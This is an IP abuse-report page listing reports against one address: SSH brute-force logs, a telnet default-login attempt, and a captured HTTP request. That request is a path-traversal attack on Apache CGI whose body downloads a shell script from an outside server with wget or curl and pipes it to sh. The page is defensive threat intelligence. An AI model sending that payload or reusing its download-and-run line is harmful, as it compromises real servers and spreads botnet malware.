Log in to view charts and search reports for this IP.
Log In
No reports in the last 60 days
191.96.94.81 has been reported 49
times. The most recent report is from
.
The full history is preserved below and remains searchable. A
0% score reflects the absence of recent activity, but
this is not a guarantee that earlier reports were invalid. Abuse confidence score decays,
naturally, over time, when the abusive activity stops.
ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/191.96.94.81
2026-01-08 00:09:48 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh,{"body":"(wget --no-check-certificate -qO- https://178.16.55.224/sh || cu ...
show moreThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/191.96.94.81
2026-01-08 00:09:48 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh,{"body":"(wget --no-check-certificate -qO- https://178.16.55.224/sh || curl -sk https://178.16.55.224/sh) | sh -s apache.selfrep","content_type":"text/plain","header":{"Accept":["*/*"],"Connection":["keep-alive"],"Content-Length":["119"],"Content-Type":["text/plain"],"Upgrade-Insecure-Requests":["1"],"User-Agent":["libredtail-http"],"X-Forwarded-For":["191.96.94.81"]},"host":"58.247.153.151:443","method":"POST","proto":"HTTP/1.1","remote_addr":"10.90.104.104:35858","status_code":200,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","user_agent":"libredtail-http"}
show less
191.96.94.81 (DE/Germany/-), 5 distributed sshd attacks on account [admin] in the last 3600 secs; Ports: *; Direction: 1; Trigger: LF_DISTATTACK; Logs: Jan 7 13:15:57 16612 sshd[4989]: Invalid user admin from 125.124.174.87 port 56198
Jan 7 13:15:5 ...
show more191.96.94.81 (DE/Germany/-), 5 distributed sshd attacks on account [admin] in the last 3600 secs; Ports: *; Direction: 1; Trigger: LF_DISTATTACK; Logs: Jan 7 13:15:57 16612 sshd[4989]: Invalid user admin from 125.124.174.87 port 56198
Jan 7 13:15:59 16612 sshd[4989]: Failed password for invalid user admin from 125.124.174.87 port 56198 ssh2
Jan 7 13:46:54 16612 sshd[7807]: Invalid user admin from 191.96.94.81 port 55468
Jan 7 13:15:45 16612 sshd[4976]: Invalid user admin from 165.154.235.71 port 46034
Jan 7 13:15:47 16612 sshd[4976]: Failed password for invalid user admin from 165.154.235.71 port 46034 ssh2
IP Addresses Blocked:
125.124.174.87 (CN/China/-)
show less
(sshd) Failed SSH login from 191.96.94.81 (DE/Germany/-): 5 in the last 3600 secs; Ports: *; Direction: 1; Trigger: LF_SSHD; Logs: Jan 7 12:35:32 14669 sshd[15555]: Invalid user admin from 191.96.94.81 port 44654
Jan 7 12:35:34 14669 sshd[15555]: F ...
show more(sshd) Failed SSH login from 191.96.94.81 (DE/Germany/-): 5 in the last 3600 secs; Ports: *; Direction: 1; Trigger: LF_SSHD; Logs: Jan 7 12:35:32 14669 sshd[15555]: Invalid user admin from 191.96.94.81 port 44654
Jan 7 12:35:34 14669 sshd[15555]: Failed password for invalid user admin from 191.96.94.81 port 44654 ssh2
Jan 7 12:36:22 14669 sshd[15632]: Invalid user orangepi from 191.96.94.81 port 37740
Jan 7 12:36:24 14669 sshd[15632]: Failed password for invalid user orangepi from 191.96.94.81 port 37740 ssh2
Jan 7 12:37:12 14669 sshd[15708]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=191.96.94.81 user=root
show less
Abused telnet on 23
2026-01-07T18:33:12Z server "Debian GNU/Linux 10 ttyS0"
2026-01-07T18:33:12Z server "login:"
2026-01-07T18:33:13Z client "admin"
2026-01-07T18:33:13Z server "Password:"
2026-01-07T18:33:13Z client "admin"
2026-01-07T18:33:13Z ser ...
show moreAbused telnet on 23
2026-01-07T18:33:12Z server "Debian GNU/Linux 10 ttyS0"
2026-01-07T18:33:12Z server "login:"
2026-01-07T18:33:13Z client "admin"
2026-01-07T18:33:13Z server "Password:"
2026-01-07T18:33:13Z client "admin"
2026-01-07T18:33:13Z server "Login incorrect"
show less